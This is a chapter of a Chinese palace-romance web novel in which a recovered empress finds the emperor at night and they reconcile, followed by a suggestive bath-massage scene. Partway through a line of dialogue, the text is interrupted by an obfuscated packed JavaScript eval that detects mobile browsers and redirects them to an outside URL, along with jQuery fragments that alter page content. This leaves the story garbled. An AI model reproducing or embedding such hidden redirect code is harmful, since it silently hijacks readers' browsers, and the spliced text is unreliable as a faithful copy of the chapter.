9. 寻到

作品:《病美人皇后醒来后

    离坤梧宫最近的那处御花园入口,鸢娘扶着谢卿雪,心里越来越不安惧怕,“殿下,我们回去吧,陛下这么大人了,又是在宫里,如何也丢不了的。”


    况且,若是陛下不想让殿下寻到,皇宫内里尽听陛下号令,殿下如何能寻得到呢。


    她什么都不怕,就怕殿下的身子受不住。


    谢卿雪咬唇,焦急地左右看。


    他们总说陛下有多么厉害,定然无事的,但她知道,不是的,他当皇帝、领兵打仗都厉害,但作为一个人,一个会悲会喜也会痛的人,他一点儿都不厉害。


    从少时懵懂,情窦初开,到建功立业,他登基为帝、她为后,再到如今,一路走来,他什么样儿她没有见过,如何能不了解。


    她开始后悔自己在气头上不曾拦他,后悔自己是不是伤了他的心。


    她明知这十年不容易,明知略微使些手段他定会回头,但当时怎么就没有这样做呢。


    还在膳时命人将特为他做的菜式原分不动送了回去,他知道了,怎能不难过。


    愈想,心下愈难受,咬牙顿住脚步,不想让自己像无头苍蝇一样转来转去。


    看着月色盈照的不远处,倏然间,在记忆里浮现起相似的一幕。


    并非月色,可是那张寒冰玉床折射入的日光,清凉得,多么像此刻的月华。


    脚步放缓,向那处走去。


    还未到门口,便示意,“你们就在这儿。”


    鸢娘抬手让身后身侧的人皆停下,她又跟着往前两步,才依依不舍地松开。


    谢卿雪控制着没那么听使唤的腿脚,深一脚浅一脚地踏过这处矮木丛,还未及出去,抬眼间,便怔怔停住了步伐。


    柳暗花明处,他高挑的身影立于灯火阑珊,形只影单,正对着的,是坤梧宫主殿里那座寒冰玉床不远处的窗。


    这样的夜里,那扇窗被暗色吞噬,模糊得几乎分辨不出来。


    可他就是这样看着,不知看了多久。


    谢卿雪也这样看着他,静静的,像是模糊了岁月,从时光里看见那十年她不曾知晓的他。


    直到某一刻,他似有所感,缓缓转身。


    “……卿卿?”


    看见她的一刹,他神色些许恍惚,几分难以置信。


    仿佛,他本不会在这种时候看见她,看见活生生的她。


    谢卿雪咬唇含泪,到他身前,仰头看着他,忽然抬手,向他的面庞扇去。


    可落在他面上的一刻又轻了力道,是不忍,亦是,真没什么气力。


    看得李骜心漏了一拍,反应迅速地倾身紧紧抱住她。


    谢卿雪挣扎着,咬牙哽咽,“你长本事了是不是,丢下我一个人不说,连夜不归宿都学会了。”


    “李骜,你是不是以为,只有你一个人会担心,会不想我离开你视线半分?”


    “你就不知道我也会担心吗!”


    “我错了,卿卿,我错了……”李骜的唇颤着,“我,我只是怕……”


    怕什么,他竟说不出、不敢说。


    他怕那时,他再不走,真的会伤到她。


    她睡着时,他说什么她都毫无反应,他盼着她醒来,从希冀盼到绝望,盼到脑海里想了千百遍,若有一日她撑不住了,他如何去陪她。


    他终得她眷顾,她醒来了,她没有丢下他。


    可他却发现,没有她的这十年仿佛将他变成了一个怪物,她好好的就在他身边,他的梦里,却净是她毫无生机的模样,彻夜折磨。


    她依旧是十年前的卿卿,依旧清冷端庄、心怀大爱,他却如被黑暗吞蚀,哪怕重见天日,心底也藏了数不尽的黯,而这些,会吓到卿卿,卿卿不会喜欢的。


    他应当学会,将这些好好地藏住,藏得不露出一点。


    “你怕什么?”


    谢卿雪瞪着他,咬住不放。


    “怕……”


    看着月色下她绝美的娇靥,她眼尾一点如血的朱砂印,他渐渐平静下来,向她的唇缓缓凑近。


    气声缠着火热、委屈,“卿卿可还记得,你昏睡不醒的前一夜?”


    谢卿雪想起来,面上羞红,“你提这个做什么?”


    “我还生气呢,答应好的全当耳旁风,脑子里净想着那档子事……”


    说着,睁大眼睛,“你不会……?”


    李骜用自己的唇堵住她的,低磁的声线酥酥麻麻地讨饶,“卿卿别说了,也不许笑。”


    谢卿雪偏要说,偏要确认,就挨在他耳边,声音悄悄的:“夫君不会,因为当年之事,不行了吧?”


    说得比李骜想的还敢说千百倍,一下子什么悲春伤秋的情绪都抛到天涯海角了,只剩不行两个字,不断地回荡、再回荡。


    气得李骜咬住她,“为夫行不行,卿卿没感觉到?”


    谢卿雪脸红得滴血,还要嘴硬摇头:“没有,什么感觉,我不知道。”


    虽这么说着,可明明呼吸都乱了。


    李骜胸膛一阵起伏,掐着她的纤腰,慢条斯理又咬牙切齿:“子渊纯孝,已经赶来,就在外面快进来了。”


    “卿卿确定,要在这个时候做此争论?”


    一想到子渊,还是这么大,已经知人事的子渊,谢卿雪一瞬连脖子根儿都发烫。


    就在晚膳时分,她还与子渊用膳,亲自为子渊束发……


    李骜察觉,大掌覆上来揉捏两下,掌心比她的后脖颈还热好多好多。


    “卿卿想什么呢,嗯?卿卿,可是不行了?”


    不行两个字,特意加了重音。


    顷刻间,谢卿雪腿彻底软了,往他的怀里倒去,被他单手一转,轻松拦腰抱起。


    “父皇,母后?”


    子渊的声音从不远处传来,越来越近。


    谢卿雪心一跳,攥住他胸口衣襟,“别……”


    “嗯?”


    李骜装听不清。


    眼看着脚步声都要到耳边了,谢卿雪急得恼火,头向里,隔着衣服不管不顾地咬他。


    李骜身子似是颤了一下,但到底听了话,唤了子渊的名。


    道:“你母后就在这儿,已无碍,夜深了,快回吧。”


    隔着隐隐绰绰的树丛,他隐约看见母后在父皇怀中,顿时知晓为何叫住他不让他靠近。


    太子善解人意,可还是有些忧心,“母后的身子可还好?”


    “并无大碍,”李骜沉声道,“稍后的脉案,朕会命


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140616|196311||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人送去东宫。”


    此话一出,李胤再无忧虑,行礼告退。


    .


    乾元殿,后殿汤池。


    李骜依原先生医嘱为皇后按揉穴道肌肉,直按得皇后纤若的身子无力又禁不住地发颤,冰雕玉琢的雪肤被汤池氤氲的水汽蒸得粉红诱人。


    诱得帝王的喉结不断滚动,胸前的……,也立了起来,更何况水下……


    “可、可以了吧……”


    皇后泣音颤抖,她如何禁得住他这样的力道。


    “不行,”帝王不管龙躯认不认真,语气是格外认真,“原先生说了,从今日起,需得配以汤浴按揉,疏通浑身经脉,亦刺激放松肌肉。”


    “卿卿的身子十年都没如何用,要想恢复如常,这些万分重要,马虎不得。”


    “况且,这才哪儿到哪儿。”他压低声音,气泡颗粒一样滚在她耳边,让她心尖儿簌簌颤着。


    “卿卿可听说过行伍训练过后,军医为将士放松肌肉?”


    他每说一句,就配着声音的节奏按揉一处,按得谢卿雪眼泪都出来了。


    “军医的手个个儿不留情,那些个将士,无论校场上如何威风,到了军医的营帐,叫得,可比卿卿此时,大声多了。”


    “啊!”


    他话音刚落,谢卿雪便高高仰起脖子,控制不住叫出声。


    脖颈弧度优美如天鹅,颈骨一节节撑起雪白薄嫩的肌肤,略微突出莹润的弧度,帝王低下身子,得寸进尺地含入口中。


    “李骜……”


    谢卿雪死死抓住他的胳膊,贝甲划出道道红痕。


    他就着这样的姿势,一字字诱哄道:“才刚过一刻钟,卿卿坚持坚持,马上便结束了。”


    马上?


    皇后眼里又迸出几串泪珠,急喘不停。


    才一刻钟,原先生说的,可是足足两刻钟。


    她再承受不住,刻入骨子里的矜持都丝毫顾不得了,放开嗓子叫,叫得帝王按揉的手不停发汗,到快结束的时候,都有些颤。


    结束的一刹,谢卿雪身子彻底瘫了,没骨头般被他抱着,神志模糊,半睡过去。


    帝王抱着皇后站起身,水哗啦从身上流下去,混着皇后的泪溅出无数水珠。


    皇后身上残余的水珠被帝王仔细擦去,包括长长的墨发。帝王自己身上的便没那么仔细了,只草草撩过,便算结束。


    陷入暖绒绒的被衾里,将卿卿整个儿圈在怀中,闭上眼睛。


    闭了好一会儿,又睁开。


    额上热得冒汗,低头,看见自个儿的皇后脑袋蹭啊蹭,蹭到了他胸口的位置。


    柔软檀唇紧挨着的,是殷红的一点,和,一点旁边更显鲜红的,玲珑牙印。


    小小的牙印,像在心口烙了铁水般,烫得心跳个不停。


    他一寸一寸地以目光摩挲,最后,落在皇后的唇上。


    一点点凑近,在卿卿的额心,落下一吻。


    呢喃着,“卿卿,日后每一日皆是欢欣,再不会让你如今日般,焦急难过。”


    “你原谅我,好不好?”


    渐渐,声线哑得有些听不清,“好多好多事,从前的,以后的,你都原谅我,好不好……”